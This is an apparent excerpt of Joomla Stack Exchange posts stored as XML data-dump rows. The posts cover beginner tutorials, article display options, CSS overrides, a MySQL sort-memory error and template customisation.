  <row Id="16528" PostTypeId="2" ParentId="16524" CreationDate="2016-05-14T02:38:02.713" Score="2" Body="&lt;p&gt;This depends on the requirements for your &quot;&lt;em&gt;own personal website&lt;/em&gt;&quot;, What exactly&lt;br/&gt; you need integrate into the template?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Find more information about Gavern Framework here:&lt;br/&gt;&#xA;&lt;a href=&quot;https://www.gavick.com/documentation/joomla/gavern-framework&quot; rel=&quot;nofollow&quot;&gt;https://www.gavick.com/documentation/joomla/gavern-framework&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Find more information for Joomla! Templates here:&lt;br/&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/Portal:Template_Development&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Portal:Template_Development&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also you have this useful guide: &lt;a href=&quot;https://docs.joomla.org/Portal:Beginners&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Portal:Beginners&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-05-14T02:38:02.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16529" PostTypeId="1" AcceptedAnswerId="16530" CreationDate="2016-05-14T08:34:27.170" Score="4" ViewCount="1041" Body="&lt;p&gt;A friend told me to use this Joomla to set up my own website. Truth is I have no idea how to start with it. I have some html, css, php knowledge but never had to use a CMS before and specifically Joomla. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searching around, I usually find resources that seem more advanced for me to get me started. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone point me to resources about the basics of using Joomla?&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2020-12-10T07:55:25.290" Title="Joomla Beginner Tutorials - How to start with Joomla?" Tags="|joomla-3.x|installation|administration|features|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16530" PostTypeId="2" ParentId="16529" CreationDate="2016-05-14T08:34:27.170" Score="6" Body="&lt;p&gt;Here are some helpful resources for beginners and Joomla newbies.&lt;/p&gt;&#xA;&lt;p&gt;(for developers tutorials go: &lt;a href=&quot;https://joomla.stackexchange.com/questions/3579/joomla-3-x-extension-development-tutorial-for-a-beginner-developer&quot;&gt;Joomla 3.x extension development tutorial for a beginner developer&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;h1&gt;Joomla Docs&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Getting_Started_with_Joomla!&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Getting started with Joomla&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Tutorials:Beginners&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Joomla Beginners Tutorials&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Portal:Beginners&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Joomla Portal: Beginners&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Portal:Administrators&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Joomla Portal: Administrator Manual&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Terminology&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Joomla Terminology&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Glossary&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Joomla Glossary&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://community.joomla.org/joomla-training.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Some Basic Video Tutorials on Joomla.org&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;3rd Party&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.siteground.com/tutorials/joomla/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Siteground Joomla Tutorials&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.joomlatutorials.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Joomlatutorials.com&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.udemy.com/courses/search/?q=joomla&amp;amp;src=ukw&amp;amp;lang=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Udemy Joomla Tutorials&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.lynda.com/Joomla-training-tutorials/245-0.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Lynda.com Joomla Tutorials&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;2020 Update:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I just found this website and YouTube channel, which contains rich content and many video tutorials around Joomla. It worths listing it here.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.learnjoomlafast.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.learnjoomlafast.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/c/MathewTamin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/c/MathewTamin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;Joomla Learning/Support Sites&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.ostraining.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Ostraining.com&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.joomlashack.com/university&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;JoomlaShack&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;Books&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/com/0321703782&quot; rel=&quot;nofollow noreferrer&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Joomla Explained&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/com/0321704215&quot; rel=&quot;nofollow noreferrer&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;The official Joomla Book&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/com/1782164340&quot; rel=&quot;nofollow noreferrer&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Joomla! 3 Beginner's Guide&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/com/0470599022&quot; rel=&quot;nofollow noreferrer&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Joomla for dummies&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/com/1118474910&quot; rel=&quot;nofollow noreferrer&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Joomla Bible&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/com/013278081X&quot; rel=&quot;nofollow noreferrer&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Joomla Programming&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/com/143021628X&quot; rel=&quot;nofollow noreferrer&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Advanced Joomla!&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2020-12-10T07:55:25.290" LastActivityDate="2020-12-10T07:55:25.290" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16531" PostTypeId="1" CreationDate="2016-05-14T14:16:14.910" Score="0" ViewCount="184" Body="&lt;p&gt;I would like to display the articles in the front end, without the print and email links.&lt;br&gt;&#xA;I have configured the publishing article options in Joomla for that, both article publish links disappear. Supposedly I have adjust this setting in Global Options and in Content-&gt;Articles-&gt;ArticleFrontPage options and this links continue showing in the display. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could it be reached?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="8402" LastEditorUserId="126" LastEditDate="2016-05-14T16:50:47.057" LastActivityDate="2016-05-22T19:28:12.180" Title="Customize article options publish print and email links in Joomla 3.5" Tags="|articles|joomla-3.5|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16532" PostTypeId="1" CreationDate="2016-05-14T16:15:02.857" Score="0" ViewCount="56" Body="&lt;p&gt;So i want to change the css layout on the page but only in one specific menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@media screen and (min-width: 768px)&#xA;.t3-sl {&#xA;    padding-bottom: 60px;&#xA;    padding-top: 60px;&#xA;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-div class=&quot;wrap &lt;strong&gt;t3-sl&lt;/strong&gt; t3-sl-1&quot;-&#xA;&lt;a href=&quot;https://i.stack.imgur.com/KkBA4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;look&lt;/a&gt; and &lt;a href=&quot;https://i.stack.imgur.com/Z9zv8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;css&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i simply change the css in the custom css all pages with the corp layout are changed. How do i only select the menu kontakt to get the changes?&lt;/p&gt;&#xA;" OwnerUserId="8308" LastEditorUserId="8308" LastEditDate="2016-05-14T17:16:56.343" LastActivityDate="2016-05-14T20:53:11.417" Title="Change css of a global used class in one specific menu?" Tags="|joomla-3.x|css|bootstrap|jhtml|" AnswerCount="1" CommentCount="1" ClosedDate="2016-05-15T01:57:08.730" ContentLicense="CC BY-SA 3.0" />
  <row Id="16533" PostTypeId="2" ParentId="16531" CreationDate="2016-05-14T17:03:03.700" Score="2" Body="&lt;p&gt;I can't get where is the Content-&gt;Article-&gt;ArticleFrontPage options you are mentioning in your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the front-end display:&lt;br&gt;&#xA; - Is this happening to a certain menu item? article? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;strong&gt;Global Article Options&lt;/strong&gt; can be overriden by &lt;strong&gt;menu item&lt;/strong&gt; or &lt;strong&gt;article settings&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each article has its own &lt;strong&gt;Show Icons&lt;/strong&gt; settings in its Options Tab.&#xA;Following any of the articles menu items have the same settings in their Options tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I would suggest you to have a look at corresponding articles, menu items options, for which you still see the icons in the front-end.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Hierarcy&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;As regarding the hierarchy of the options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Global Settings come first, Article settings will override the Globals, Category settings come next and Menu Item settings are last. &#xA;So a Menu Item's settings will override everything.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Template Overrides&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;As a last note: if changing settings doesn't seem to result to a change in the front-end, it can be due to template overrides. You might have a template that is overriding the layout output of the com_content component. So it's worth checking in the html folder of your template for a possible override.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;More reading:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;There is another similar question in JSE: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/1067/cannot-override-global-article-settings&quot;&gt;Cannot override global article settings&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These articles might be helpful in understanding Joomla Articles:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.joomlaplates.com/blog-news/understanding-joomla-core-content-features&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Understanding Joomla Core Content Features&lt;/strong&gt;&lt;/a&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Help35:Components_Article_Manager_Options&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Component Article Manager Options - Joomla Docs&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Template overrides&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;Template Overrides&lt;/a&gt;&lt;/strong&gt;   &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;Layout Overrides&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-05-22T19:28:12.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16534" PostTypeId="1" CreationDate="2016-05-14T18:40:15.623" Score="0" ViewCount="107" Body="&lt;p&gt;I have been trying to create a menu item that shows all articles in category blog layout for tags. I followed webchun's instructions here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/13583/how-to-show-tagged-items-in-category-blog-layout&quot;&gt;How to show tagged items in category blog layout&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(which it won't let me add more to the question because it's locked)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got it to work, even got the read more button added (though I don't think correctly, because it doesn't check if there is a read more just automatically adds it), but what I need is to add other elements to it which are not options. I want to add the published date, the author, and the category. I know that this is an override, but I have no idea what parts to copy. I tried copying somethings from blog_items.php under my (custom) template, but it just stopped the page from loading).&lt;/p&gt;&#xA;" OwnerUserId="8404" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-05-17T20:27:50.427" Title="More on tags in category blog layout" Tags="|menu-item|tags|category-blog|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16535" PostTypeId="2" ParentId="16532" CreationDate="2016-05-14T20:53:11.417" Score="0" Body="&lt;p&gt;For now i worked around the problem myself, by giving the module in the screen a margin-bottom of -50px.&#xA;Now it all is a bit tighter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone of you out there know the solution of my problem, don't hesitate to post.&lt;/p&gt;&#xA;" OwnerUserId="8308" LastActivityDate="2016-05-14T20:53:11.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16536" PostTypeId="1" CreationDate="2016-05-15T16:22:20.823" Score="0" ViewCount="3909" Body="&lt;p&gt;I have upgraded the joomla website to 3.5.1 and the module manager is showing error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Out of sort memory, consider increasing server sort buffer size&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;SQL=&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;    a.id, a.title, a.note, a.position, a.module, a.language, a.checked_out,&#xA;    a.checked_out_time, a.published as published, e.enabled as enabled, a.access,&#xA;    a.ordering, a.publish_up, a.publish_down, l.title AS language_title,&#xA;    l.image AS language_image, uc.name AS editor, ag.title AS access_level,&#xA;    MIN(mm.menuid) AS pages, e.name AS name&#xA;FROM `#__modules` AS a&#xA;LEFT JOIN `#__languages` AS l ON l.lang_code = a.language&#xA;LEFT JOIN #__users AS uc ON uc.id = a.checked_out&#xA;LEFT JOIN #__viewlevels AS ag ON ag.id = a.access&#xA;LEFT JOIN #__modules_menu AS mm ON mm.moduleid = a.id&#xA;LEFT JOIN #__extensions AS e ON e.element = a.module&#xA;WHERE (a.published IN (0, 1)) AND a.client_id = 0 AND e.client_id =0&#xA;GROUP BY&#xA;    a.id,&#xA;    a.title,&#xA;    a.note,&#xA;    a.position,&#xA;    a.module,&#xA;    a.language,&#xA;    a.checked_out,&#xA;    a.checked_out_time,&#xA;    a.published,&#xA;    a.access,&#xA;    a.ordering,&#xA;    l.title,&#xA;    l.image,&#xA;    uc.name,&#xA;    ag.title,&#xA;    e.name,&#xA;    l.lang_code,&#xA;    uc.id,&#xA;    ag.id,&#xA;    mm.moduleid,&#xA;    e.element,&#xA;    a.publish_up,&#xA;    a.publish_down,&#xA;    e.enabled&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And in the admin panel it shows &lt;code&gt;An error has occurred&lt;/code&gt; message in every view. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried these solution but no luck&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Disabling system plugins&lt;/li&gt;&#xA;&lt;li&gt;Increased &lt;code&gt;sort_buffer_size=512k&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Kindly, guide me through the solution.&lt;/p&gt;&#xA;" OwnerUserId="3637" LastEditorUserId="12352" LastEditDate="2019-03-04T02:11:06.390" LastActivityDate="2019-03-04T02:11:06.390" Title="Error: Out of sort memory, consider increasing server sort buffer size" Tags="|mysql|update|joomla-3.5|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="16538" PostTypeId="2" ParentId="9729" CreationDate="2016-05-16T05:18:19.733" Score="0" Body="&lt;p&gt;Go to:&#xA;1. Global Configuration&#xA;2. Metadata Settings&#xA;3.  Show Author Meta Tag = No&lt;/p&gt;&#xA;" OwnerUserId="8409" LastActivityDate="2016-05-16T05:18:19.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16540" PostTypeId="1" AcceptedAnswerId="16541" CreationDate="2016-05-16T06:33:32.520" Score="2" ViewCount="376" Body="&lt;p&gt;When I add new styles to the template.css, Joomla doesn't save them for a long time it keeps resetting the code. although the html code keeps the new lines that I add.&#xA;Why is this happening!!&lt;/p&gt;&#xA;" OwnerUserId="8167" LastEditorUserId="8167" LastEditDate="2016-05-16T12:55:27.003" LastActivityDate="2016-05-16T12:55:27.003" Title="Css file erases new editing" Tags="|joomla-3.x|css|editing|styling|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16541" PostTypeId="2" ParentId="16540" CreationDate="2016-05-16T07:19:09.167" Score="0" Body="&lt;p&gt;Probably every time you update Joomla, you the template.css file gets updated and with a news version and you lose the changes you made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The correct way to customize your Joomla website is using &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;template overrides&lt;/a&gt;. This way you do not modify the Joomla core files, and your changes will never get overriden.&lt;/p&gt;&#xA;" OwnerUserId="8225" LastActivityDate="2016-05-16T07:19:09.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16542" PostTypeId="2" ParentId="10657" CreationDate="2016-05-16T09:06:33.870" Score="1" Body="&lt;p&gt;I was getting a very similar error...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Duplicate entry '14-6' for key 'PRIMARY'&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;SQL=INSERT INTO&#xA;  `#__finder_links_terms4` (`link_id`, `term_id`, `weight`) SELECT 14,&#xA;  `term_id`, ROUND(SUM(`context_weight`), 8) FROM&#xA;  `#__finder_tokens_aggregate` WHERE `map_suffix` = '4' GROUP BY `term`&#xA;  ORDER BY `term` DESC&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;...and solved this by clicking the 'Clear Index' button at the top. After that I was able to index my files.&lt;/p&gt;&#xA;" OwnerUserId="8411" LastEditorUserId="12352" LastEditDate="2019-01-28T13:54:39.953" LastActivityDate="2019-01-28T13:54:39.953" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="16543" PostTypeId="2" ParentId="16540" CreationDate="2016-05-16T09:31:53.103" Score="3" Body="&lt;p&gt;This can be for one of this possible reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Your template uses some framework, like &lt;em&gt;T3&lt;/em&gt; or &lt;em&gt;Helix&lt;/em&gt;, and you have enabled a feature that allows you to compile the code every time the page is reloaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution 1:&lt;/strong&gt;&#xA;Check if you have this option enabled in &lt;strong&gt;Templates&lt;/strong&gt; &gt; &lt;strong&gt;Your Template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution 2:&lt;/strong&gt; Some template frameworks allows you to add another css file called &lt;strong&gt;custom.css&lt;/strong&gt; or similar, in this way you can add your code that replaces the general css.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You are trying to replace the css code of an extension as a module, normally these files are added below the related template, this works similar to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;your_site/.../general.css&lt;br/&gt;&#xA;your_site/.../template.css&lt;br/&gt;&#xA;your_site/.../preset.css&lt;br/&gt;&#xA;your_site/.../custom.css&lt;br/&gt;&#xA;your_site/.../&lt;strong&gt;module1.css&lt;/strong&gt; &lt;em&gt;(in the cascade, this file override all the previous css code)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution 1:&lt;/strong&gt; Also, some templates allows you to add your custom code in &lt;strong&gt;Templates&lt;/strong&gt; &gt; &lt;strong&gt;Your Template&lt;/strong&gt;, check if you have this feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution 2:&lt;/strong&gt;  Add your custom css in your custom.css file and check the &lt;a href=&quot;https://specificity.keegan.st/&quot; rel=&quot;nofollow&quot;&gt;specificity&lt;/a&gt;, if you only have a few css rules you can use &lt;a href=&quot;https://css-tricks.com/when-using-important-is-the-right-choice/&quot; rel=&quot;nofollow&quot;&gt;!important&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution 3&lt;/strong&gt;: Change the code directly in the extension.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also you can add your custom css vía extensions, but try with any of the above solutions:&#xA;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/style-a-design/templating/cssconfig&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/extension/style-a-design/templating/cssconfig&lt;/a&gt; &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/style-a-design/templating/css2switch-basic&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/extension/style-a-design/templating/css2switch-basic&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;You can use a tool like &lt;a href=&quot;http://getfirebug.com/&quot; rel=&quot;nofollow&quot;&gt;Firebug&lt;/a&gt; for inspect the source code of your page in your browser, this will help you to save a lot of time.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-05-16T09:31:53.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16544" PostTypeId="2" ParentId="16540" CreationDate="2016-05-16T09:38:58.530" Score="2" Body="&lt;p&gt;You didn't specified if this is happening during saving or right after it, or if your custom.css rules remain untouched until you perform an update to Joomla or your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you fall into the first case, I don't have an answer at hands right now. But for the the second case what you see happening is absolutely normal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Golden Rule:&lt;/strong&gt; Never, ever modify core files (if you want to maintain your customizations). That's because each update will replace core files, resulting in loss of your modified ones. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla and most of the commercial templates provide the ability to create overrides. This is how you have to approach this, in order to add your own custom css. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question for css overrides will give you a good ground for what you need to do: &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/3877/how-do-i-override-the-css-styles-in-my-template&quot;&gt;How do I override the CSS styles in my template?&lt;/a&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also extensions that allow this, if you can't find other ways.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/add-custom-css&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://extensions.joomla.org/extension/add-custom-css&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/custom-css&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://extensions.joomla.org/extension/custom-css&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-05-16T09:38:58.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16545" PostTypeId="1" CreationDate="2016-05-16T10:52:49.093" Score="0" ViewCount="959" Body="&lt;p&gt;Does anyone know how to login to Joomla administration using a URL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someting like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://myweb.com/administrator/index.php?option=com_login&amp;amp;task=login&amp;amp;username=user1&amp;amp;passwd=pass1&quot; rel=&quot;nofollow&quot;&gt;http://myweb.com/administrator/index.php?option=com_login&amp;amp;task=login&amp;amp;username=user1&amp;amp;passwd=pass1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2016-06-23T23:29:38.443" Title="Admin login with url" Tags="|login|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
